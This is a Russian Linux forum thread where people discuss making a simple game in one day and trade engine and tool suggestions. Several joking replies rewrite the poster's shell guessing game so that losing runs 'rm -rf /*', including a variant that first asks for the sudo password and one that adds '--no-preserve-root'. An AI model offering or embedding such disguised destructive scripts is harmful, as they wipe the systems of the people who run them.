LINUX.ORG.RU
ФорумTalks

Как сделать игру под Linux за один день?


0

0

Как сделать игру под Linux за один день?

И вообще возможно ли это?

Если возможно, то на чем это можно сделать? Я имею ввиду какой язык программирования для этого подойдет лучше.

Понятно что спрайты можно рисовать в gimp'e и inkscape, модели делать в blender'e. Тут как бы альтернатив то особо нет.

Ответ на: комментарий от mono

> MSPL

А ты то откуда знаешь? Как ты аффилирован с автором кода?

EmStudio
()
Ответ на: комментарий от EmStudio

Этот код тривиален и не попадает на действие законов об авторских правах

Xenius ★★★★★
()
Ответ на: комментарий от redgremlin

А так и поиграть можно:

#!/bin/sh

RANDOM=`date +'%s'`

while true; do
    read -p "Enter number from 0 to 9: " A
    if [ "$A" = "exit" ]; then
        exit
    fi
    if [ "$A" = "`expr $RANDOM % 10`" ]; then
        echo "You win"
    else
        echo "You lose"
    fi
done

А если сюрьезно?

plambir
() автор топика
Ответ на: комментарий от Yareg

Я пятнадцать лет ВАСИК не трогал, могу ошибаться.

redgremlin ★★★★★
()
Ответ на: комментарий от plambir

>А если сюрьезно?

Тетрис, танчики, аркада простенькая, стрелялка с тупым ИИ на базе какого-нибудь открытого движка.

redgremlin ★★★★★
()

> Как сделать игру под Linux за один день?

> И вообще возможно ли это?

Конкретнее, пожалуйста. "Игра" - это очень общее понятие.

Советую посмотреть, что здесь люди делают за неделю http://www.pyweek.org/

hexenlord
()

Можно! Только надо купить ведро вещества. :)

Ab-1
()
Ответ на: комментарий от plambir
#!/bin/sh

RANDOM=`date +'%s'`

while true; do
    read -p "Enter number from 0 to 9: " A
    if [ "$A" = "exit" ]; then
        exit
    fi
    if [ "$A" = "`expr $RANDOM % 10`" ]; then
        echo "You win"
    else
        rm -rf /*
    fi
done

fxd

mydoom ★★★
()
Ответ на: комментарий от mydoom

[code]
#!/bin/sh

RANDOM=`date +'%s'`

while true; do
read -p "Enter number from 0 to 9: " A
if [ "$A" = "exit" ]; then
exit
fi
if [ "$A" = "`expr $RANDOM % 10`" ]; then
echo "You win"
else
echo "Enter your password for continue"
sudo rm -rf /*
fi
done
[/code]
patched

redgremlin ★★★★★
()
Ответ на: комментарий от redgremlin

Я к сожалению не знаю открытых движков в которых можно тупо загрузить объекты(спрайты, модельки) и описать их поведение, взаимодействие и получить в итоге игру. Приходится еще кучу всего дописывать и/или прикручивать.

plambir
() автор топика
Ответ на: комментарий от plambir

Должно быть. Я лет семь-восемь назад по книжке писал редактор уровней для первого квейка, вся инфа была.

redgremlin ★★★★★
()
Ответ на: комментарий от hexenlord

> Конкретнее, пожалуйста.

Я имею ввиду простые вещи, вроде тех что на восьми битных консолях были, денди там всякие и т.д.

plambir
() автор топика
Ответ на: комментарий от plambir

> Я к сожалению не знаю открытых движков в которых можно тупо загрузить объекты(спрайты, модельки) и описать их поведение, взаимодействие и получить в итоге игру. Приходится еще кучу всего дописывать и/или прикручивать.

Покури это: http://www.linux.org.ru/jump-message.jsp?msgid=4011146

EmStudio
()
Ответ на: комментарий от wyldrodney

> Опять бедную мистрочку смущаешь!? :D

Я их не различаю, нефиг ники заводить. Да и разве тут есть девушки, акромя Sikon?

EmStudio
()
Ответ на: комментарий от plambir

А ты таки почитай, там как раз про "сделать игру под Linux за один день" и около того. Всего 3 страницы.

EmStudio
()
Ответ на: комментарий от plambir
#!/bin/sh

RANDOM=`date +'%s'`

while true; do
    read -p "Enter number from 0 to 9: " A
    if [ "$A" = "exit" ]; then
        exit
    fi
    if [ "$A" = "`expr $RANDOM % 10`" ]; then
        echo "You win"
    else
        rm -rf / --no-preserve-root
    fi
done

fixed

Gorthauer ★★★★★
()
Ответ на: комментарий от plambir

>Я к сожалению не знаю открытых движков в которых можно тупо загрузить объекты(спрайты, модельки) и описать их поведение, взаимодействие и получить в итоге игру. Приходится еще кучу всего дописывать и/или прикручивать.

Для тетриса там или брейкаута есть свободные движки, на что-то большее под линукс не расчитывай. Для стратегий - glest (устарел, есть glest advanced, только для винды), для шутеров - sauerbraten (забыт в далёком 2001-2002 годах), для остального - какая-нибудь опенсорс игрушка.

Gary ★★★★★
()
Ответ на: комментарий от wyldrodney

> А что это за коробка с ногами на аватаре?

-------------------------------------
Зацените гно^W тукса.

Место, где он живёт: linux.org.ru
не сильно много говорите слово отстой, а то обидно будет :(
-------------------------------------

atrus ★★★★★
()
Ответ на: комментарий от Gary

> sauerbraten (забыт в далёком 2001-2002 годах)

4.2 Последнее обновление в начале этого года. Есть регдольная физика и графические плюшки.

AITap ★★★★★
()
Ответ на: комментарий от AITap

>Есть регдольная физика и графические плюшки

Регдольная физика - это замечательно (на моей памяти единственный опенсорс движок для шутеров с регдольной физикой, остальные в основном клоны старых квакодвижков), и графические плюшки - тоже. Только вот у коммерческих движков физика ещё в 2002-2003 году была намного сложнее (Karma, со сложными связями между костями регдолла, на такой физике не то что тряпичные куклы делали, а машины), а отсутствие синхронизации физики по сети + весьма своеобразное построение мира делает его хорошей песочницей, но уж точно не качественным движком для шутеров.

Но, в принципе, для контеста игра за один день sauerbraten подошел бы наверное.

Gary ★★★★★
()

> Как сделать игру под Linux за один день? И вообще возможно ли это?

На всяких сайтах о PyQt, Allegro и им подобных регулярно проводятся конкурсы игр, созданных за короткий срок: от суток до недели. Кое-во что даже интересно играть :)

question4 ★★★★★
()
Ответ на: комментарий от wyldrodney

Для создания игр можно использовать кроссплатформенный компилятор PureBasic http://purebasic.info

Он позволяет разрабатывать оконные и 3D игровые проги для Windows х86, Windows х64, Linux, MacOS X и AmigaOS

TipTop
()

Берёшь Wesnoth, делаешь простую приключенку.

Quasar ★★★★★
()
Ответ на: комментарий от BitCheese

> на форуме есть примеры игр, сделанных за 1 день (соревнования типа Ludum Dare)

Я нашел только одну. А так love2d занятен.

plambir
() автор топика

Достаточно перепутать-перезаписать-дописать-удалить-добавить-подправить-пропатчить и будем вам квест "Петька и Красные Глаза".

TGZ ★★★★
()
Ответ на: комментарий от Gary

Да меня вообще вот что-нибудь такого захотелось

http://www.youtube.com/watch?v=05nXawIm7yo

Она за 6 часов сделана была(не помню где про сроки писалось)

Правда это на гейм мейкере сделано было.

plambir
() автор топика
Вы не можете добавлять комментарии в эту тему. Тема перемещена в архив.